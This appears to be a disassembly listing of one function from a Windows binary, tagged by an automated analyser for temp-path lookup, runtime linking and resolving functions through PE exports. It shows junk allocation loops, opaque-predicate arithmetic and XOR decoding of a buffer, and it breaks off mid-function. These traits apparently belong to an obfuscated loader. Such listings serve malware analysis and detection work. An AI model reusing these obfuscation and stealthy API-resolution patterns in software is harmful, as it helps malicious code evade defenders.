Function at 0x14001dc78
Capabilities:
Get common file path
Link many functions at runtime
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x24b8
call fcn.14006e690
sub rsp, rax
mov rax, qword [rsp + 0x24d0]
mov qword [rsp + 0x6e8], rax
mov rax, qword [rsp + 0x6e8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x6e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0x6e8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x6e8]
lea rax, [rcx + rax + 0x108]
mov qword [rsp + 0x1530], rax
cmp qword [rsp + 0x6e8], 0
je 0x14001dd03
cmp qword [rsp + 0xd0], 0
je 0x14001dd03
cmp qword [rsp + 0x1530], 0
jne 0x14001dd0a
xor al, al
jmp 0x14002fed5
mov dword [rsp + 0x4c0], 3
jmp 0x14001dd27
mov eax, dword [rsp + 0x4c0]
inc eax
mov dword [rsp + 0x4c0], eax
cmp dword [rsp + 0x4c0], 0x2cc9
jae 0x14001ddcb
mov ecx, 0xea60
call fcn.14006e220
mov qword [rsp + 0x15b8], rax
mov rax, qword [rsp + 0x15b8]
mov qword [rsp + 0x1520], rax
mov dword [rsp + 0x240], 0
jmp 0x14001dd77
mov eax, dword [rsp + 0x240]
inc eax
mov dword [rsp + 0x240], eax
cmp dword [rsp + 0x240], 0x2eec
jae 0x14001dda9
cmp dword [rsp + 0x240], 0x42
jne 0x14001dd90
jmp 0x14001dda9
movsxd rax, dword [rsp + 0x240]
mov rcx, qword [rsp + 0x1520]
mov dword [rcx + rax*4], 0xebc
jmp 0x14001dd67
mov rax, qword [rsp + 0x1520]
mov qword [rsp + 0x15c0], rax
mov rcx, qword [rsp + 0x15c0]
call fcn.14006e228
jmp 0x14001dd17
mov dword [rsp + 0x136c], 0x12
lea rdx, [rsp + 0x22b0]
mov ecx, 0x100
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
xor ecx, ecx
call fcn.14008427c
mov ecx, eax
call fcn.14007f98c
mov al, byte [0x1400e0492]
mov byte [rsp + 0x1cc0], al
lea rax, [rsp + 0x1cc1]
mov rdi, rax
xor eax, eax
mov ecx, 0x103
rep stosb byte [rdi], al
xor edx, edx
mov eax, dword [rsp + 0x136c]
mov ecx, 0x11
div ecx
mov eax, edx
mov dword [rsp + 0x1370], eax
mov dword [rsp + 0x4c4], 0
jmp 0x14001de4e
mov eax, dword [rsp + 0x4c4]
inc eax
mov dword [rsp + 0x4c4], eax
mov eax, dword [rsp + 0x1370]
cmp dword [rsp + 0x4c4], eax
jge 0x14001def2
call fcn.14007f960
cdqe
xor edx, edx
mov ecx, 0x10
div rcx
mov rax, rdx
mov dword [rsp + 0x1374], eax
movsxd rax, dword [rsp + 0x1374]
lea rcx, str.WRFPIJRMWDJHPGJEx_
mov al, byte [rcx + rax]
mov byte [rsp + 0x1dc], al
mov byte [rsp + 0x1dd], 0
lea rax, [rsp + 0x1cc0]
mov qword [rsp + 0x600], rax
dec qword [rsp + 0x600]
inc qword [rsp + 0x600]
mov rax, qword [rsp + 0x600]
cmp byte [rax], 0
jne 0x14001deb6
mov rax, qword [rsp + 0x600]
lea rcx, [rsp + 0x1dc]
xor edx, edx
mov dil, byte [rcx + rdx]
mov byte [rax + rdx], dil
inc rdx
test dil, dil
jne 0x14001dedd
jmp 0x14001de3e
mov dword [rsp + 0x4c8], 2
jmp 0x14001df0f
mov eax, dword [rsp + 0x4c8]
inc eax
mov dword [rsp + 0x4c8], eax
cmp dword [rsp + 0x4c8], 0x2dd9
jae 0x14001dfb3
mov ecx, 0xea60
call fcn.14006e220
mov qword [rsp + 0x15c8], rax
mov rax, qword [rsp + 0x15c8]
mov qword [rsp + 0x1528], rax
mov dword [rsp + 0x244], 0
jmp 0x14001df5f
mov eax, dword [rsp + 0x244]
inc eax
mov dword [rsp + 0x244], eax
cmp dword [rsp + 0x244], 0x3273
jae 0x14001df91
cmp dword [rsp + 0x244], 0x1c
jne 0x14001df78
jmp 0x14001df91
movsxd rax, dword [rsp + 0x244]
mov rcx, qword [rsp + 0x1528]
mov dword [rcx + rax*4], 0x2036
jmp 0x14001df4f
mov rax, qword [rsp + 0x1528]
mov qword [rsp + 0x15d0], rax
mov rcx, qword [rsp + 0x15d0]
call fcn.14006e228
jmp 0x14001deff
lea rax, [rsp + 0x22b0]
mov qword [rsp + 0x1500], rax
lea rax, [rsp + 0x1dd0]
mov qword [rsp + 0x6f0], rax
mov rax, qword [rsp + 0x6f0]
mov qword [rsp + 0x1c40], rax
mov rax, qword [rsp + 0x1500]
movzx eax, word [rax]
mov word [rsp + 0x1d8], ax
mov rax, qword [rsp + 0x6f0]
movzx ecx, word [rsp + 0x1d8]
mov word [rax], cx
mov rax, qword [rsp + 0x1500]
add rax, 2
mov qword [rsp + 0x1500], rax
mov rax, qword [rsp + 0x6f0]
add rax, 2
mov qword [rsp + 0x6f0], rax
cmp word [rsp + 0x1d8], 0
jne 0x14001dfe3
lea rax, [rsp + 0x1dd0]
mov qword [rsp + 0x608], rax
sub qword [rsp + 0x608], 2
add qword [rsp + 0x608], 2
mov rax, qword [rsp + 0x608]
cmp word [rax], 0
jne 0x14001e055
mov rax, qword [rsp + 0x608]
lea rcx, [rsp + 0x1cc0]
xor edx, edx
movzx edi, word [rcx + rdx*2]
mov word [rax + rdx*2], di
inc rdx
test di, di
jne 0x14001e07e
mov eax, 2
imul rax, rax, 0x103
xor ecx, ecx
mov word [rsp + rax + 0x1dd0], cx
mov qword [rsp + 0x1508], 0
lea r8, [0x1400e09bc]
lea rdx, [rsp + 0x1dd0]
lea rcx, [rsp + 0x1508]
call fcn.1400835c4
mov dword [rsp + 0x15b0], eax
lea rax, [rsp + 0x1a8]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1a8]
call fcn.14002fee8
mov qword [rsp + 0x6f8], rax
mov rax, qword [rsp + 0x6f8]
movzx eax, byte [rax + 4]
test eax, eax
jne 0x14001f73a
mov rax, qword [rsp + 0x6f8]
mov qword [rsp + 0x1f0], rax
mov dword [rsp + 0x68], 0
jmp 0x14001e134
mov eax, dword [rsp + 0x68]
inc eax
mov dword [rsp + 0x68], eax
movsxd rax, dword [rsp + 0x68]
cmp rax, 1
jae 0x14001f73a
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x1378], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x1378]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x137c], eax
call fcn.14001b988
movsx eax, al
shl eax, 1
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x137c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1380], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x1380]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14001e4fc
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1401083c8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3e0], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x1384], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x1384]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x138c], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x1388], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x1388]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x138c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14001e426
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x1390], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x1390]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1394], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x1394]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1398], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x1398]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14001e426
mov dword [rsp + 0x100], 0
jmp 0x14001e2e8
cmp dword [rsp + 0x100], 4
jae 0x14001e421
cvtsi2sd xmm0, dword [rsp + 0x100]
movsd xmm1, qword [rsp + 0x3e0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x15d8], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x15d8]
ucomisd xmm1, xmm0
jp 0x14001e363
jne 0x14001e363
mov eax, dword [rsp + 0x100]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x3e0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3e0], xmm0
jmp 0x14001e1e2
cvtsi2sd xmm0, dword [rsp + 0x100]
movsd xmm1, qword [rsp + 0x3e0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x15e0], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x15e0]
ucomisd xmm1, xmm0
jp 0x14001e3cb
jne 0x14001e3cb
mov eax, dword [rsp + 0x100]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x3e0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3e0], xmm0
jmp 0x14001e3e1
xor eax, eax
test eax, eax
je 0x14001e3dd
jmp 0x14001e4c8
jmp 0x14001e40a
cvtsi2sd xmm0, dword [rsp + 0x100]
movsd xmm1, qword [rsp + 0x3e0]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4cc], eax
jmp 0x14001e4d3
xor eax, eax
cmp eax, 1
je 0x14001e417
jmp 0x14001e426
jmp 0x14001e1e2
jmp 0x14001e1e2
xor eax, eax
cmp eax, 1
je 0x14001e4c8
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x139c], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x139c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x13a4], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x13a0], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x13a0]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x13a4]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x3e0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4cc], eax
jmp 0x14001e4d3
mov dword [rsp + 0x4cc], 1
movsxd rax, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x1f0]
mov edx, dword [rsp + 0x4cc]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x68]
mov rdx, qword [rsp + 0x1f0]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x13a8], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x13a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x13b0], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 3
mov dword [rsp + 0x13ac], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x13ac]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x13b0]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14001f37b
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x13b4], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x13b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x13b8], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 7
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x13b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x13bc], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x13bc]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14001e931
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1401083c0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3e8], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x13c0], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x13c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x13c8], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x13c4], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x13c4]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x13c8]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14001e85b
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x13cc], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x13cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x13d0], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x13d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x13d4], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x13d4]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14001e85b
mov dword [rsp + 0x104], 0
jmp 0x14001e71d
cmp dword [rsp + 0x104], 4
jae 0x14001e856
cvtsi2sd xmm0, dword [rsp + 0x104]
movsd xmm1, qword [rsp + 0x3e8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x15e8], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x15e8]
ucomisd xmm1, xmm0
jp 0x14001e798
jne 0x14001e798
mov eax, dword [rsp + 0x104]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x3e8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3e8], xmm0
jmp 0x14001e617
cvtsi2sd xmm0, dword [rsp + 0x104]
movsd xmm1, qword [rsp + 0x3e8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x15f0], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x15f0]
ucomisd xmm1, xmm0
jp 0x14001e800
jne 0x14001e800
mov eax, dword [rsp + 0x104]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x3e8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3e8], xmm0
jmp 0x14001e816
xor eax, eax
test eax, eax
je 0x14001e812
jmp 0x14001e8fd
jmp 0x14001e83f
cvtsi2sd xmm0, dword [rsp + 0x104]
movsd xmm1, qword [rsp + 0x3e8]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4d0], eax
jmp 0x14001e908
xor eax, eax
cmp eax, 1
je 0x14001e84c
jmp 0x14001e85b
jmp 0x14001e617
jmp 0x14001e617
xor eax, eax
cmp eax, 1
je 0x14001e8fd
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x13d8], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x13d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x13e0], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x13dc], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x13dc]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x13e0]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x3e8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4d0], eax
jmp 0x14001e908
mov dword [rsp + 0x4d0], 1
movsxd rax, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x1f0]
mov edx, dword [rsp + 0x4d0]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x68]
mov rdx, qword [rsp + 0x1f0]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x13e4], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x13e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x13e8], eax
call fcn.14001b988
movsx eax, al
shl eax, 3
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x13e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x13ec], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x13ec]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14001eceb
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1401083b8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3f0], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x13f0], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x13f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x13f8], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x13f4], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x13f4]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x13f8]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14001ec15
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x13fc], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x13fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1400], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x1400]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1404], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x1404]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14001ec15
mov dword [rsp + 0x108], 0
jmp 0x14001ead7
cmp dword [rsp + 0x108], 4
jae 0x14001ec10
cvtsi2sd xmm0, dword [rsp + 0x108]
movsd xmm1, qword [rsp + 0x3f0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x15f8], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x15f8]
ucomisd xmm1, xmm0
jp 0x14001eb52
jne 0x14001eb52
mov eax, dword [rsp + 0x108]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x3f0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3f0], xmm0
jmp 0x14001e9d1
cvtsi2sd xmm0, dword [rsp + 0x108]
movsd xmm1, qword [rsp + 0x3f0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1600], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1600]
ucomisd xmm1, xmm0
jp 0x14001ebba
jne 0x14001ebba
mov eax, dword [rsp + 0x108]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x3f0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3f0], xmm0
jmp 0x14001ebd0
xor eax, eax
test eax, eax
je 0x14001ebcc
jmp 0x14001ecb7
jmp 0x14001ebf9
cvtsi2sd xmm0, dword [rsp + 0x108]
movsd xmm1, qword [rsp + 0x3f0]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4d4], eax
jmp 0x14001ecc2
xor eax, eax
cmp eax, 1
je 0x14001ec06
jmp 0x14001ec15
jmp 0x14001e9d1
jmp 0x14001e9d1
xor eax, eax
cmp eax, 1
je 0x14001ecb7
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x1408], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x1408]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1410], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x140c], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x140c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1410]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x3f0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4d4], eax
jmp 0x14001ecc2
mov dword [rsp + 0x4d4], 1
movsxd rax, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x1f0]
mov edx, dword [rsp + 0x4d4]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x68]
mov rdx, qword [rsp + 0x1f0]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
mov eax, dword [rsp + 0x68]
sub eax, 0x7b
cvtsi2sd xmm1, eax
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3f8], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x1414], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x1414]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x141c], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x1418], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x1418]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x141c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14001ef64
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x1420], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x1420]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1424], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x1424]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1428], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x1428]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14001ef64
mov dword [rsp + 0x10c], 0
jmp 0x14001ee26
cmp dword [rsp + 0x10c], 4
jae 0x14001ef5f
cvtsi2sd xmm0, dword [rsp + 0x10c]
movsd xmm1, qword [rsp + 0x3f8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1608], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1608]
ucomisd xmm1, xmm0
jp 0x14001eea1
jne 0x14001eea1
mov eax, dword [rsp + 0x10c]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x3f8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3f8], xmm0
jmp 0x14001ed20
cvtsi2sd xmm0, dword [rsp + 0x10c]
movsd xmm1, qword [rsp + 0x3f8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1610], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1610]
ucomisd xmm1, xmm0
jp 0x14001ef09
jne 0x14001ef09
mov eax, dword [rsp + 0x10c]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x3f8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3f8], xmm0
jmp 0x14001ef1f
xor eax, eax
test eax, eax
je 0x14001ef1b
jmp 0x14001f006
jmp 0x14001ef48
cvtsi2sd xmm0, dword [rsp + 0x10c]
movsd xmm1, qword [rsp + 0x3f8]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4d8], eax
jmp 0x14001f011
xor eax, eax
cmp eax, 1
je 0x14001ef55
jmp 0x14001ef64
jmp 0x14001ed20
jmp 0x14001ed20
xor eax, eax
cmp eax, 1
je 0x14001f006
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x142c], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x142c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1434], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x1430], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x1430]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1434]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x3f8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4d8], eax
jmp 0x14001f011
mov dword [rsp + 0x4d8], 1
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
mov eax, dword [rsp + 0x68]
sub eax, 0x7b
cvtsi2sd xmm1, eax
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x400], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x1438], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x1438]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1440], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x143c], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x143c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1440]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14001f28a
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x1444], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x1444]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1448], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x1448]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x144c], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x144c]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14001f28a
mov dword [rsp + 0x110], 0
jmp 0x14001f14c
cmp dword [rsp + 0x110], 4
jae 0x14001f285
cvtsi2sd xmm0, dword [rsp + 0x110]
movsd xmm1, qword [rsp + 0x400]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1618], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1618]
